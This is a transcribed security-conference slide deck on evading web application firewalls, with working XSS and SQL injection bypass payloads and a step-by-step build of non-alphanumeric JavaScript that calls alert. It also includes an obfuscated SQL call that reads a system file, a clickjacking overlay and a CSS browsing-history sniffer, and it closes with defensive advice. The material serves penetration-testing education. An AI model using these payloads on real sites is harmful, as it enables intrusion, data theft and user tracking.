Bypassing Web Application Firewalls (WAFs) Ing. Pavol Lupták, CISSP, CEH Lead Security Consultant



Similar documents
1 Web Application Firewalls implementations, common problems and vulnerabilities

XSS Lightsabre techniques. using Hackvertor

Finding XSS in Real World

Check list for web developers

Detecting and Exploiting XSS with Xenotix XSS Exploit Framework

Intrusion detection for web applications

Security vulnerabilities in new web applications. Ing. Pavol Lupták, CISSP, CEH Lead Security Consultant

Still Aren't Doing. Frank Kim

Out of the Fire - Adding Layers of Protection When Deploying Oracle EBS to the Internet

EVADING ALL WEB-APPLICATION FIREWALLS XSS FILTERS

Information Supplement: Requirement 6.6 Code Reviews and Application Firewalls Clarified

How To Protect A Web Application From Attack From A Trusted Environment

Cross Site Scripting (XSS) and PHP Security. Anthony Ferrara NYPHP and OWASP Security Series June 30, 2011

EC-Council CAST CENTER FOR ADVANCED SECURITY TRAINING. CAST 619 Advanced SQLi Attacks and Countermeasures. Make The Difference CAST.

Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure

Web Application Firewall Profiling and Evasion. Michael Ritter Cyber Risk Services Deloitte

Cracking the Perimeter via Web Application Hacking. Zach Grace, CISSP, CEH January 17, Mega Conference

MWR InfoSecurity Security Advisory. pfsense DHCP Script Injection Vulnerability. 25 th July Contents

HTTPParameter Pollution. ChrysostomosDaniel

Web Application Security

Criteria for web application security check. Version

Web Application Security

Guidelines for Web applications protection with dedicated Web Application Firewall

elearning for Secure Application Development

Client vs. Server Implementations of Mitigating XSS Security Threats on Web Applications

Web Application Attacks And WAF Evasion

Institutionen för datavetenskap

CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

Data Breaches and Web Servers: The Giant Sucking Sound

Application Layer Encryption: Protecting against Application Logic and Session Theft Attacks. Whitepaper

Project 2: Web Security Pitfalls

Sitefinity Security and Best Practices

Blackbox Reversing of XSS Filters

We protect you applications! No, you don t. Digicomp Hacking Day 2013 May 16 th 2013

Web Application Firewalls Evaluation and Analysis. University of Amsterdam System & Network Engineering MSc

Next Generation Clickjacking

Web Application Guidelines

External Network & Web Application Assessment. For The XXX Group LLC October 2012

Software Assurance Tools: Web Application Security Scanner Functional Specification Version 1.0

Detecting Web Application Vulnerabilities Using Open Source Means. OWASP 3rd Free / Libre / Open Source Software (FLOSS) Conference 27/5/2008

Cyber Security Challenge Australia 2014

Where every interaction matters.

Hacking de aplicaciones Web

Acunetix Website Audit. 5 November, Developer Report. Generated by Acunetix WVS Reporter (v8.0 Build )

Finding Your Way in Testing Jungle. A Learning Approach to Web Security Testing.

Adding Value to Automated Web Scans. Burp Suite and Beyond

SQL INJECTION IN MYSQL

Hack Proof Your Webapps

Adobe Systems Incorporated

The Top Web Application Attacks: Are you vulnerable?

Security Research Advisory IBM inotes 9 Active Content Filtering Bypass

A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications. Slides by Connor Schnaith

The Image that called me

Web-Application Security

Web Application Hacking (Penetration Testing) 5-day Hands-On Course

Contemporary Web Application Attacks. Ivan Pang Senior Consultant Edvance Limited

Chapter 1 Web Application (In)security 1

What is Web Security? Motivation

External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION

What about MongoDB? can req.body.input 0; var date = new Date(); do {curdate = new Date();} while(curdate-date<10000)

HTML5. Eoin Keary CTO BCC Risk Advisory.

Unbreakable ABAP? Vulnerabilities in custom ABAP Code Markus Schumacher, Co-Founder Virtual Forge GmbH

WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats

Advanced Security for Systems Engineering VO 01: Web Application Security

Detect and Sanitise Encoded Cross-Site Scripting and SQL Injection Attack Strings Using a Hash Map

ASL IT Security Advanced Web Exploitation Kung Fu V2.0

Secure Coding. External App Integrations. Tim Bach Product Security Engineer salesforce.com. Astha Singhal Product Security Engineer salesforce.

How To Fix A Web Application Security Vulnerability

ASP.NET MVC Secure Coding 4-Day hands on Course. Course Syllabus

Architectural Design Patterns. Design and Use Cases for OWASP. Wei Zhang & Marco Morana OWASP Cincinnati, U.S.A.

Magento Security and Vulnerabilities. Roman Stepanov

Using Foundstone CookieDigger to Analyze Web Session Management

Cross-Site Scripting

Implementation of Web Application Firewall

Secure Web Application Coding Team Introductory Meeting December 1, :00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda

Security Research Advisory SugarCRM Cross-Site Scripting Vulnerability

Webapps Vulnerability Report

WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY

Input Validation Vulnerabilities, Encoded Attack Vectors and Mitigations OWASP. The OWASP Foundation. Marco Morana & Scott Nusbaum

Penta Security 3rd Generation Web Application Firewall No Signature Required.

Arrow ECS University 2015 Radware Hybrid Cloud WAF Service. 9 Ottobre 2015

Mingyu Web Application Firewall (DAS- WAF) All transparent deployment for Web application gateway

Security Assessment of Waratek AppSecurity for Java. Executive Summary

(WAPT) Web Application Penetration Testing

WAFFle: Fingerprinting Filter Rules of Web Application Firewalls

Security Test s i t ng Eileen Donlon CMSC 737 Spring 2008

MatriXay WEB Application Vulnerability Scanner V Overview. (DAS- WEBScan ) The best WEB application assessment tool

SECURITY ADVISORY. December 2008 Barracuda Load Balancer admin login Cross-site Scripting

Universal XSS via IE8s XSS Filters

The purpose of this report is to educate our prospective clients about capabilities of Hackers Locked.

Application Security Testing. Erez Metula (CISSP), Founder Application Security Expert

Testnet Summerschool. Web Application Security Testing. Dave van Stein

NSFOCUS Web Application Firewall White Paper

1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications

Web Application Security Guidelines for Hosting Dynamic Websites on NIC Servers

OWASP Application Security Building and Breaking Applications

Transcription:

Bypassing Web Application Firewalls (WAFs) Ing. Pavol Lupták, CISSP, CEH Lead Security Consultant

Nethemba All About Security Highly experienced certified IT security experts (CISSP, C EH, SCSecA) Core business: All kinds of penetration tests, comprehensive web application security audits, local system and wifi security audits, security consulting, forensic analysis, secure VoIP, ultra secure systems OWASP activists: Leaders of Slovak/Czech OWASP chapters, co authors of the most recognized OWASP Testing Guide v3.0, working on new version We are the only one in Slovakia/Czech Republic that offer: Penetration tests and security audits of SAP Security audit of smart RFID cards Unique own and sponsored security research in many areas (see our references Vulnerabilities in public transport SMS tickets, cracked the most used Mifare Classic RFID cards)

What are WAFs? Emerged from IDS/IPS focused on HTTP protocol and HTTP related attacks Usually contain a lot of complex reg exp rules to match Support special features like cookie encryption, CSRF protection, etc. Except of free mod_security they are quite expensive (and often there is no correlation between the price and their filtering capabilities)

WAFs implementations Usually they are deployed in blacklisting mode that is more vulnerable to bypasses and targeted attacks Application context (type of allowed inputs) is necessary to know for deploying of more secure whitelisting mode All WAFs can by bypassed WAF is just a workaround, but from the security point of view it can be cost effective

WAF filter rules Directly reflects WAF effectiveness For most WAF vendors they are closely guarded secrets most determined attackers are able to bypass them without seeing the actual rules Open source WAFs (mod_security, PHPIDS) have open source rules which is better for more scrutiny by skilled penetration testers

Typical WAF bypasses Blocked Attack Undetected modification 'or 1=1-- ' or 2=2-- alert(0) %00alert(0) <script>alert(0)</script> <script type=vbscript>msgbox(0)</script> ' or ''''='r <script>alert(0)</script> <img src=x:x onerror=alert(0)//></img> '/**/OR/**/''''=' 1 or 1=1 (1)or(1)=(1) <img src= x:x onerror= alert(0) ></img> <img src=http://url onload=alert(0)//></img> eval(name) x=this.name X(0?$:name+1)

Yes, WAF may be also be vulnerable! WAF also increases the attack surface of a target organization WAF may be the target of and vulnerable to malicious attacks, e.g. XSS, SQL injection, denial of service attacks, remote code execution vulnerabilities These vulnerabilities have been found in all types of WAF products(!)

Typical bypass flow 1. Find out which characters / sequences are allowed by WAFs 2. Make an obfuscated version of your injected payload 3. Test it and watch for the WAF/application response 4. If it does not work, modify it and try step 2.

Javascript obfuscation Javascript has very powerful features Javascript payload is used in XSS attacks It is full of evals, expression closures, generator expressions, iterators, special characters and shortcuts Supports a lot of encodings (unicode multibyte characters, hexadecimal, octal, combination of all of them) Supports XOR, Encryption, Base64

Non alphanumeric javascript code Even if only few characters are allowed it is possible to construct fully functional code: _=[] [];$=_++; =(_<<_); =(_<<_)+_; = + ; = + ; $$=({}+"")[ ]+(+{}+"")[_]+({}[$]+"")[_]+(($!=$)+"")[ ]+(($==$)+"") [$]+(($==$)+"")[_]+(($==$)++"")[ ]+({}+"")[ ]+(($==$)+"")[$]+({} +"")[_]+(($==$)+"")[_];$$$=(($!=$)+"")+[_]+(($!=$)+"")[ ]+(($==$)+"") [ ]+(($==$)+"")[_]+(($==$)+"")[$];$_$=({}+"")[+ ]+({}+"")[_]+({} +"")[_]+(($!=$)+"")[ ]+({}+"")[ + ]+({}+"")[ ]+(+{}+"")[_]+({} [$]+"")[ ]+(($==$)+"")[ ]; ($)[$$][$$]($$$+"('"+$_$+"')")() ([,Á,È,ª,É,,Ó]=!{}+{},[[Ç,µ]=!!Á+Á][ª+Ó+µ+Ç])()[Á+È+É+µ+Ç]( ~Á)

Let's bypass WAF! Example situation: WAF blocks alpha characters and numbers (probably not a very real situation, just proof of concept : ) Allows only few special characters (){}_=[];$! +<> Let's generate fully nonalphanumeric javascript code!

Possibilities of Javascript language We can use numbers to obtain a single character in a string, e.g. index zero for accessing the first character abc [0] We can use addition (+), subtraction ( ), multiplication (*), division (/), modulus (%), increment (++), decrement ( ) We know that mathematical operators perform automatic numeric conversion and string operators perform automatic string conversion

Source of different alphanumeric characters in Javascript Javascript object / String result error state {}+'' [object Object] +[][+[]] NaN [][+[]]+[] undefined [![]]+[] false [!![]]+[] true

Shortest Possible Ways to Create Zero without Using Numbers Characters Result +[] 0 +`'` 0 + ` 0 -[] 0 -`'` 0 - ` 0

Generating numbers +[] //0 ++[[]][+[]] //1 +!+[] //1 ++[++[[]][+[]]][+[]] //2!+[]+!+[] //2 ++[++[++[[]][+[]]][+[]]][+[]] //3!+[]+!+[]+!+[] //3

Gain alpha characters without directly using them When define Javascript object using the object literal and concatenate with string, the result is [object Object] _={}+''; //[object Object] alert(_[1]) //returns 'o' character

Generate string alert without using any alphanumeric characters Let's start with 'a' What Javascript object contains 'a'? We can use 'NaN' (Not a Number) Access empty string with index 0 (undefined) and convert to number (NaN) +[][+[]] // result: NaN

Generating 'a' character NaN[1]='a' ++[[]][+[]] //1 +[][+[]]+[] // result string: NaN (+[][+[]]+[])[++[[]][+[]]] //a We have character 'a'

Generating 'l' character Use boolean false We can use! (NOT) operator e.g. ''==0 //true Use blank array (string) and then NOT operator to obtain boolean, wrap with [] and convert it to string ([![]]+[]) //string false

Generating 'l' character ++[++[[]][+[]]][+[]] //2 ([![]]+[]) //string false 'false'[2] = ([![]]+[])[++[++[[]][+ []]][+[]]] // 'l' We have 'l' character!

Generating 'e' character It's easy, we can use boolean true ([!![]]+[]) // string 'true' ++[++[++[[]][+[]]][+[]]][+[]] //3 'true'[3] = ([!![]]+[])[++[++[++ [[]][+[]]][+[]]][+[]]] //e And we have 'e' character!

Generating 'r' character It's easy, we can use boolean true ([!![]]+[]) // string 'true' ++[[]][+[]] //1 'true'[1] = ([!![]]+[])[++[[]][+ []]] //r And we have 'r' character!

Generating 't' character It's easy, we can use boolean true ([!![]]+[]) // string 'true' +[] //0 'true'[0] = ([!![]]+[])[+[]] //t And we have 't' character!

And now we have 'alert' string! (+[][+[]]+[])[++[[]][+[]]]+([![]]+ [])[++[++[[]][+[]]][+[]]]+([!![]]+ [])[++[++[++[[]][+[]]][+[]]][+[]]]+ ([!![]]+[])[++[[]][+[]]]+([!![]]+ [])[+[]] //string 'alert'

How to execute the code of our choice? It is necessary to return window object to access all properties of window If you can access to a constructor, you can access Function constructor to execute arbitrary code The shortest possible way to get window is: alert((1,[].sort)()) // shows window object! Works in all browsers except IE

How to generate 'sort' string We know how to generate string 'alert' We need to generate 'sort' string 'false'[3]=([![]]+[])[++[++[++[[]] [+[]]][+[]]][+[]]] //'s' We can gain 'o' from []+{} [object Object] ([]+{})[++[[]][+[]]] //o We have already generated 'r' and 't'

And now we have 'sort' string ([![]]+[])[++[++[++[[]][+[]]][+[]]][+ []]]+([]+{})[++[[]][+[]]]+([!![]]+[]) [++[[]][+[]]]+([!![]]+[])[+[]] //string 'sort'

Let's build it together call alert(1) (1,[].sort)().alert(1) After changing number 1 and all alpha characters to their obfuscated version we get: ([],[][([![]]+[])[++[++[++[[]][+[]]][+[]]] [+[]]]+([]+{})[++[[]][+[]]]+([!![]]+[])[++ [[]][+[]]]+([!![]]+[])[+[]]])()[ (+[][+[]] +[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+ []]][+[]]] +([!![]]+[])[++[++[++[[]][+[]]] [+[]]][+[]]]+([!![]]+[])[++ [[]][+[]]]+ ([!![]]+[])[+[]]](++[[]][+[]]) //calls alert(1)!

How to call any arbitrary Javascript function Using the array constructor (accessing the constructor twice from an array object returns Function): [].constructor.constructor( alert(1 ) )() We need to generate the rest 'c','n','u' letters, gain them from the output of [].sort function: function sort() { [native code] }

SQL obfuscation What is obfuscation of SQL injection vector? Different DBMS have different SQL syntax, most of them support Unicode, Base64, hex, octal and binary representation, escaping, hashing algorithms (MD5, SHA 1) Many blacklisted characters can be replaced by their functional alternatives (0xA0 in MySQL) Obfuscated comments it is difficult to determine what is a comment and what is not

SQL obfuscation examples SELECT CONCAT (char (x'70617373',b'11101110110111101110010011 00100')) s/*/e/**//*e*//*/l/*le*c*//*/ect~~/**/1 SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M) SELECT(extractvalue(0x3C613E61646D696E3 C2F613, 0x2F61))

New SQL features MySQL/PostgreSQL supports XML functions: SELECT UpdateXML('<script x=_></script>', '/script/@x','src=//0x.lv'); HTML5 supports local DB storage (SQLite 3.1+) (opendatabase object) can be misused for persistent XSS, local SQL injection attacks

Existing obfuscation tools Hackvertor http://hackvertor.co.uk/public HackBar https://addons.mozilla.org/en US/firefox/addon/hack Malzilla http://malzilla.sourceforge.net/ Your imagination :)

Summary WAFs are just workarounds! The best solution is to care about security in every SDLC phase and strictly validate all inputs and outputs in the application Use whitelisting instead of blacklisting (both in the application and WAF!) Use multilayer security 3 rd layer database architecture or database firewalls for SQL use prepared statements for HTML use HTML Purifier or OWASP AntiSamy project

References Web Application Obfuscation http://www.amazon.com/web Application Obfuscati XSS Attacks: Cross Site Scripting Exploits and Defense http://www.amazon.com/xss Attacks Scripting Exp Special thanks to Mario Heiderich and Stefano Di Paola

UI redressing attacks clickjacking <style> iframe { filter: alpha(opacity=0); opacity: 0; position: absolute; top: 0px; left 0px; height: 300px; width: 250px; } img { position: absolute; top: 0px; left: 0px; height: 300px; width: 250px; } </style> <img src= WHAT THE USERS SEES /> <iframe src= WHAT THE USER IS ACTUALLY INTERACTING WITH ></iframe>

Clickjacking protection Blocks using X FRAME/OPTIONS: NEVER <body> <script> if (top!=self) document.write('<plaintext>'); </script>...

CSS History attack <style> a { position: relative; } a:visited { position: absolute; } </style> <a id= v href= http://www.google.com/ >Google</a> <script> var l=document.getelementbyid( v ); var c=getcomputedstyle(l).position; c== absolute?alert( visited ):alert( not visited ); </script>

CSS History exploitation methods Social network deanonymization attacks Session ID/CSRF token local brute force attack LAN scanners Fixed in Firefox 4.0, current browsers are vulnerable